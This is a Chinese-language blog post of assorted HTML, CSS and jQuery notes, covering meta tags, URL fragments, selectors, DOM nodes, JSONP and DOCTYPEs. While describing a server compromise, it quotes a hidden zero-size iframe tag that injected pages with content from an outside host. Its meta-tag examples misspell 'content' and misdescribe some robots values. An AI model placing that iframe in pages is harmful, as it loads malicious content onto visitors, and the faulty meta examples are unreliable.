html,css前端開發筆記

風靈使發表於2018-10-24
HTMLCSS前端筆記

meta是用來在HTML文件中模擬HTTP協議的響應頭報文。meta 標籤用於網頁的＜head＞與＜/head＞中，meta 標籤的用處很多。

meta的屬性有兩種：name和http-equiv。name屬性主要用於描述網頁，對應於content（網頁內容），以便於搜尋引擎機器人查詢、分類（目前幾乎所有的搜尋引擎都使用網上機器人自動查詢meta值來給網頁分類）。這其中最重要的是description（站點在搜尋引擎上的描述）和keywords（分類關鍵詞），所以應該給每頁加一個meta值。比較常用的有以下幾個：

name 屬性

  1. ＜meta name="Generator" contect=""＞用以說明生成工具（如Microsoft FrontPage
    4.0）等；
  2. ＜meta name="KEYWords" contect=""＞向搜尋引擎說明你的網頁的關鍵詞；
  3. ＜meta name="DEscription" contect=""＞告訴搜尋引擎你的站點的主要內容；
  4. ＜meta name="Author" contect="你的姓名"＞告訴搜尋引擎你的站點的製作的作者；
  5. ＜meta name="Robots" contect="all|none|index|noindex|follow|nofollow"＞

其中的屬性說明如下：

設定為all：檔案將被檢索，且頁面上的連結可以被查詢；

設定為none：檔案將不被檢索，且頁面上的連結不可以被查詢；

設定為index：檔案將被檢索；

設定為follow：頁面上的連結可以被查詢；

設定為noindex：檔案將不被檢索，但頁面上的連結可以被查詢；

設定為nofollow：檔案將不被檢索，頁面上的連結可以被查詢。

http-equiv屬性

  1. ＜meta http-equiv="Content-Type" contect="text/html";charset=gb_2312-80"＞和 ＜meta http-equiv="Content-Language" contect="zh-CN"＞用以說明主頁製作所使用的文字以及語言；又如英文是ISO-8859-1字符集，還有BIG5、utf-8、shift-Jis、Euc、Koi8-2等字符集；
  2. ＜meta http-equiv="Refresh" contect="n;url=http://yourlink"＞定時讓網頁在指定的時間n內，跳轉到頁面http;//yourlink；
  3. ＜meta http-equiv="Expires" contect="Mon,12 May 2001 00:20:00 GMT"＞可以用於設定網頁的到期時間，一旦過期則必須到伺服器上重新呼叫。需要注意的是必須使用GMT時間格式；
  4. ＜meta http-equiv="Pragma" contect="no-cache"＞是用於設定禁止瀏覽器從本地機的快取中調閱頁面內容，設定後一旦離開網頁就無法從Cache中再調出；
  5. ＜meta http-equiv="set-cookie" contect="Mon,12 May 2001 00:20:00 GMT"＞ cookie設定，如果網頁過期，存檔的cookie將被刪除。需要注意的也是必須使用GMT時間格式；
  6. ＜meta http-equiv="Pics-label" contect=""＞網頁等級評定，在IE的internet選項中有一項內容設定，可以防止瀏覽一些受限制的網站，而網站的限制級別就是通過meta屬性來設定的；
  7. ＜meta http-equiv="windows-Target" contect="_top"＞強制頁面在當前視窗中以獨立頁面顯示，可以防止自己的網頁被別人當作一個frame頁呼叫；
  8. ＜meta http-equiv="Page-Enter" contect="revealTrans(duration=10,transtion=50)"＞和＜meta http-equiv="Page-Exit"contect="revealTrans(duration=20，transtion=6)"＞設定進入和離開頁面時的特殊效果，這個功能即FrontPage中的“格式/網頁過渡”，不過所加的頁面不能夠是一個frame頁面。

解決網站防掛IFRAME木馬方案

今天一上伺服器2000多個<iframe src="http://ca.winvv.com/cn.htm" width=0 height=0></iframe> 被注入，我暈！檢查了半天，原來是FckEditor編輯器上傳漏洞導致。在找資料的同時，發現CSS有一個有趣的屬性expression,發現這個東東還有點意思，由此寫出來，“以儆效尤”！

引用：

“IE5 及其以後版本支援在CSS中使用expression，用來把CSS屬性和JavaScript指令碼關聯起來，這裡的CSS屬性可以是元素固有的屬性，也可以是自定義屬性。就是說CSS屬性後面可以是一段JavaScript表示式，CSS屬性的值等於Javascript表示式執行的結果。在表示式中可以直接 引用元素自身的屬性和方法，也可以使用其他瀏覽器物件。這個表示式就好像是在這個元素的一個成員函式中一樣。”我的理解是：expression後面接js表示式執行相關操作

格式：
（1）標記固有的CSS屬性名:expression(JS表示式);
（2）自定義屬性名:expression(JS表示式);
使用JS銷燬iframe物件原理：使iframe裡的請求地址變成空白頁(about:blank)，再將iframe物件從DOM（文件物件模型）中移除就可以切斷所有iframe裡的請求了。

CSS程式碼：
iframe{WuWei:expression(this.src='about:blank',this.outerHTML='');} 解釋：outerHTML屬性是DOM物件包含自身的HTML程式碼，而 innerHTML則是DOM物件（不含本身）裡面所包含的HTML程式碼。 例子如下： 如果要使自己的iframe顯示在網頁裡，而別人掛的IFRAME馬都不起作用，在CSS里加一個 #okiWuWei{iWuWei:expression() !important} 對應的IFRAME程式碼為: <iframe id="okiWuWei" src="http://blog.csdn.net/codeshark/"></iframe>就OK了。 問題總結：很多垃圾站點都通過“彈窗”的方式來增加自己的點選率跟訪問量，估計也是通過iframe注入木馬，然後達到這種效果的。當然次方法只是IE ONLY.也不能從根本上防止木馬的注入。

一、#的涵義

#代表網頁中的一個位置。其右面的字元，就是該位置的識別符號。比如，

http://www.example.com/index.html#print

就代表網頁index.html的print位置。瀏覽器讀取這個URL後，會自動將print位置滾動至可視區域。

為網頁位置指定識別符號，有兩個方法。一是使用錨點，比如，二是使用id屬性，比如

。

二、HTTP請求不包括#

#是用來指導瀏覽器動作的，對伺服器端完全無用。所以，HTTP請求中不包括#。

比如，訪問下面的網址，

http://www.example.com/index.html#print

瀏覽器實際發出的請求是這樣的：

　　GET /index.html HTTP/1.1
　　
　　Host: www.example.com

可以看到，只是請求index.html，根本沒有"#print"的部分。

三、#後的字元

在第一個#後面出現的任何字元，都會被瀏覽器解讀為位置識別符號。這意味著，這些字元都不會被髮送到伺服器端。

比如，下面URL的原意是指定一個顏色值：http://www.example.com/?color=#fff,但是，瀏覽器實際發出的請求是：

　　GET /?color= HTTP/1.1

　　Host: www.example.com

可以看到，"#fff"被省略了。只有將#轉碼為%23，瀏覽器才會將其作為實義字元處理。也就是說，上面的網址應該被寫成：

　　http://example.com/?color=%23fff

四、改變#不觸發網頁過載

單單改變#後的部分，瀏覽器只會滾動到相應位置，不會重新載入網頁。

比如，從

　　http://www.example.com/index.html#location1

改成

　　http://www.example.com/index.html#location2

瀏覽器不會重新向伺服器請求index.html。

五、改變#會改變瀏覽器的訪問歷史

每一次改變#後的部分，都會在瀏覽器的訪問歷史中增加一個記錄，使用"後退"按鈕，就可以回到上一個位置。

這對於ajax應用程式特別有用，可以用不同的#值，表示不同的訪問狀態，然後向使用者給出可以訪問某個狀態的連結。

值得注意的是，上述規則對IE 6和IE 7不成立，它們不會因為#的改變而增加歷史記錄。

六、window.location.hash讀取#值

window.location.hash這個屬性可讀可寫。讀取時，可以用來判斷網頁狀態是否改變；寫入時，則會在不過載網頁的前提下，創造一條訪問歷史記錄。

七、onhashchange事件

這是一個HTML 5新增的事件，當#值發生變化時，就會觸發這個事件。IE8+、Firefox 3.6+、Chrome 5+、Safari 4.0+支援該事件。

它的使用方法有三種：

　　window.onhashchange = func;

　　<body onhashchange="func();">

　　window.addEventListener("hashchange", func, false);

對於不支援onhashchange的瀏覽器，可以用setInterval監控location.hash的變化。

八、Google抓取#的機制

預設情況下，Google的網路蜘蛛忽視URL的#部分。

但是，Google還規定，如果你希望Ajax生成的內容被瀏覽引擎讀取，那麼URL中可以使用"#!"，Google會自動將其後面的內容轉成查詢字串_escaped_fragment_的值。

比如，Google發現新版twitter的URL如下：

　　http://twitter.com/#!/username

就會自動抓取另一個URL：

　　http://twitter.com/?_escaped_fragment_=/username

通過這種機制，Google就可以索引動態的Ajax內容。

CSS優先順序備註：
1、同一規則(id與id相比較、class與class相比較)的樣式，按書寫的順序，後面的優先順序高於前面。
2、同一規則(id與id相比較、class與class相比較)的樣式，外部引入的樣式，優先順序高於內聯樣式(<style>.ss{}</style>)。
3、同一規則(id與id相比較、class與class相比較)的樣式，按書css外部檔案引入的順序，後面的優先順序高於前面。

另外，如果同一個元素在沒有其他樣式的作用影響下，其Class定義了多個並以空格分開，其優先順序順序為：

一個元素同時應用多個class，後定義的優先（即近者優先），加上!important者最優先！

nodeName、nodeValue 以及 nodeType 包含有關於節點的資訊。

nodeName 屬性含有某個節點的名稱。
•元素節點的 nodeName 是標籤名稱
•屬性節點的 nodeName 是屬性名稱
•文字節點的 nodeName 永遠是 #text
•文件節點的 nodeName 永遠是 #document

註釋：nodeName 所包含的 XML 元素的標籤名稱永遠是大寫的

nodeValue

對於文字節點，nodeValue 屬性包含文字。
對於屬性節點，nodeValue 屬性包含屬性值。
nodeValue 屬性對於文件節點和元素節點是不可用的。

nodeType 屬性可返回節點的型別。
最重要的節點型別是：

元素型別 節點型別
元素element 1
屬性attr 2
文字text 3
註釋comments 8
文件document 9

DOM是表示 XML文件的流行的方法。它未必是最快的、最輕便的、或者最易使用 的，卻是是最普及的，絕大多數 web 開發語言（如 Java，Perl，PHP，Ruby，Python，及 Javascript)都實現了對它的支援。

easyui isField屬性不能要，否則多選rows行，rows.length始終返回1

載入某個元素，
首先設定style="display:none;"，然後show(); 可以防止載入中閃爍，降低使用者體驗

$("#loinInputForm").serialize();

.serialize() 方法建立以標準 URL 編碼表示的文字字串。它的操作物件是代表表單元素集合的 jQuery 物件。

註釋：只會將”成功的控制元件“序列化為字串。如果不使用按鈕來提交表單，則不對提交按鈕的值序列化。如果要表單元素的值包含到序列字串中，元素必須使用 name 屬性。

CSS組合選擇器

E,F (多元素選擇器，同時匹配所有E元素或F元素，E和F之間用逗號分隔)

Div,p { color:#f00; }

E F (後代元素選擇器，匹配所有屬於E元素後代的F元素，E和F之間用空格分隔)

#nav li { display:inline; }
li a { font-weight:bold; }

E > F (子元素選擇器，匹配所有E元素的子元素F)

div > strong { color:#f00; }

E + F (毗鄰元素選擇器，匹配所有緊隨E元素之後的同級元素F)

p + p { color:#f00; }

position：absolute這個是絕對定位；是相對於瀏覽器的定位。
比如：position：absolute；left:20px;top:80px; 這個容器始終位於距離瀏覽器左20px,距離瀏覽器上80px的這個位置。

position：relative是相對定位，是相對於前面的容器定位的。這個時候不能用top left在定位。應該用margin。

css實現div自動新增滾動條

基本語法

overflow-x : visible | auto | hidden | scroll

語法取值
visible : 預設值。不剪下內容也不新增滾動條。假如顯式宣告此預設值，物件將以包含物件的 window 或 frame 的尺寸裁切。並且 clip 屬性設定將失效
auto :　 在必需時物件內容才會被裁切或顯示橫向滾動條
hidden :　 不顯示超過物件尺寸的內容
scroll :　 總是顯示橫向滾動條

使用說明
檢索或設定當物件的內容超過其指定寬度時如何管理內容。
所有物件的預設值是 visible ，除了 textarea 物件和 body 物件的預設值是 auto 。設定 textarea 物件此屬性值為 hidden 將隱藏其滾動條。

對於 table 來說，假如 table-layout 屬性設定為 fixed ，則 td 物件支援帶有預設值為 hidden 的 overflow 屬性。如果設為 scroll 或者 auto ，那麼超出 td 尺寸的內容將被剪下。如果設為 visible ，將導致額外的文字溢位到右邊或左邊（視 direction 屬性設定而定）的單元格。

自IE5開始，此屬性在MAC平臺上可用。
自IE6開始，當你使用 !DOCTYPE 宣告指定了 standards-compliant 模式，此屬性可以應用於 html 物件。
此屬性對於 currentStyle 物件而言是隻讀的。對於其他物件而言是可讀寫的。對應的指令碼特性為overflowX 。

程式碼示例

div { overflow-x: scroll; height: 100px; width: 100px; }

JSONP在JQuery中如何體現的

  1. $.getJSON
<script> 　　
$(document).ready(function() {
$.getJSON("http://api.flickr.com/services/feeds/photos_public.gne?tags=cat&tagmode=any&format=json&jsoncallback=?",
    function(data) {　　
        $.each(data.items,
		        function(i, item) {
		            $("<img/>").attr("src", item.media.m).appendTo("#images");　　
		            if (i == 3) return false;
             });
    });
});　
</script> 　

//jsoncallback=?，其中？會自動替換為function(data)函式。 　　
  1. $.ajax
$.ajax({ 　　
  dataType: 'jsonp', 　　
  data: 'id=10', 　
  jsonp: 'jsonp_callback', 　
　url: 'http://www.yiwuku.com/getdata', 　　
  success: function () { 　
　// do stuff 　
　}
});

瀏覽器判斷:

var XMLHttp=null;
if (window.XMLHttpRequest)
{
XMLHttp=new XMLHttpRequest()
}else if (window.ActiveXObject)
{
XMLHttp=new ActiveXObject("Microsoft.XMLHTTP")
}

常用目錄名：
data(資料庫)
images(圖片)
install (安裝)
templets (模版)
include (包含)
admin (後臺)
rss (定閱)
media (媒體)
config (配置)
Script (指令碼)
Language (語言)
style (樣式)等……

常用CSS名：
頁面外圍控制整體佈局寬度：wrapper　　
頭：header　　
內容：content/container　　
頁面主體：main　　
側欄：sidebar　　
尾：footer等……

success(data, textStatus, jqXHR)

data:處理後的資料, textStatus:描述狀態的字串。
jqXHR（在jQuery 1.4.x的中，XMLHttpRequest）物件

剩餘寬度=父容器寬度-子容器固定寬度（優先）/子容器內容寬度-子容器margin&border&padding

列表元件

dl – 定義一個自定義列表
dt – 定義一個列表組
dd – 定義列表一個組的描述
label – 定義一個表單的域的說明
nl – 代表HTML導航列表
ol – 定義一個有序列表
ul – 定義一個無序列表
li – 定義列表的內容

自封閉的html標籤，非成對出現（單獨出現），而且是以 / >結尾，稱為自封閉。

br hr
col img
area  link meta
frame input param
DOCTYPE

html標籤主要分兩類，兩邊封閉的，自封閉的，總結自封閉的html標籤，主要是為了方便初學者記憶

html標籤 – 代表HTML文件的開始
html標籤是成對出現的,以<html>開始, </html>結束
屬性
Common – 一般屬性
xml:lang – 國際化屬性
xmlns – 代表xml名稱空間
dir – 定義元素(文字)的對齊方式

DOCTYPE 標籤 – 定義了標準文件的型別
DOCTYPE標籤是單獨出現的

說明：
文件型別，會使瀏覽器使用相應標準載入網頁並顯示
文件型別定義在HTML文件的第一行，在html標籤之前
文件不定義DOCTYPE，瀏覽器將無法獲知HTML或XHTML文件的型別，因此會進入混亂模式，詳見：瀏覽器模式
DOCTYPE，簡稱為DTDs，是英文Document type的縮寫，中文“文件型別”

HTML DOCTYPE文件型別舉例說明

HTML4.01文件過渡定義型別，此型別定義的文件可以使用HTML中的標籤與元素包括一些不被W3C推薦的標籤（例如：font、b等），不可以使用框架

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

HTML4.01文件嚴格定義型別，此型別定義的文件可以使用HTML中的標籤與元素，不能包含不被W3C推薦的標籤（例如：font、b等），不可以使用框架

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

HTML4.01文件框架定義型別，此型別等同於HTML4.01文件過渡定義型別，但可以使用框架

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">

XHTML1.0文件過渡定義型別，此型別定義的文件可以使用HTML中的標籤與元素包括一些不被W3C推薦的標籤（例如：font、b等），不可以使用框架

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

XHTML1.0文件嚴格定義型別，此型別定義的文件只可以使用HTML中定義的標籤與元素，不能包含不被W3C推薦的標籤（例如：font、b）(夢之都就使用了此型別)，不可以使用框架

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

XHTML1.0文件框架定義型別，等同於XHTML1.0文件過渡定義型別，但可以使用框架

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">

XHTML1.1文件嚴格定義型別，等同於XHTML1.0文件過渡定義型別

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

HTML5文件型別

<!DOCTYPE html>

HTML meta 標籤

13.1. HTML meta content-type 定義檔案MIME型別
13.1.1 HTML meta charset 定義網頁編碼資訊
13.2. HTML meta content-language 定義頁面語言
13.3. HTML meta refresh 重新整理與跳轉(重定向)頁面
13.4. HTML meta expires 網頁快取過期時間
13.5. HTML meta pragma no-cache 頁面快取
13.6. HTML meta keywords 網頁關鍵詞
13.7. HTML meta description 網頁簡短描述
13.8. HTML meta author 網頁作者
13.9. HTML meta copyright 網頁版權
13.10. HTML meta date 網頁生成時間
13.11. HTML meta robots 搜尋引擎索引方式

meta 標籤 – 在head標籤中的meta標籤,可以為HTML文件提供額外資訊
此標籤是單獨出現的,<meta />
此標籤只能出現在head標籤內
引用網址:http://www.dreamdu.com/xhtml/tag_meta/
屬性:

I18N -- i18n屬性
xml:lang -- 國際化屬性
content -- content屬性
http-equiv -- http-equiv屬性
id -- id屬性
name -- name屬性
scheme -- scheme屬性
meta的英文翻譯為"元"
meta是metainformation的縮寫
meta屬性主要分為兩組

name屬性與content屬性

name屬性用於描述網頁,它是以名稱/值形式的名稱,name屬性的值所描述的內容(值)通過content屬性表示,便於搜尋引擎機器人查詢,分類.其中最重要的是description,keywords和robots.

http-equiv屬性與content屬性

http-equiv屬性用於提供HTTP協議的響應頭報文(MIME文件頭),它是以名稱/值形式的名稱,http-equiv屬性的值所描述的內容(值)通過content屬性表示,通常為網頁載入前提供給瀏覽器等裝置使用.其中最重要的是content-type charset 提供編碼資訊,refresh重新整理與跳轉頁面,no-cache 頁面快取,expires網頁快取過期時間.

相關文章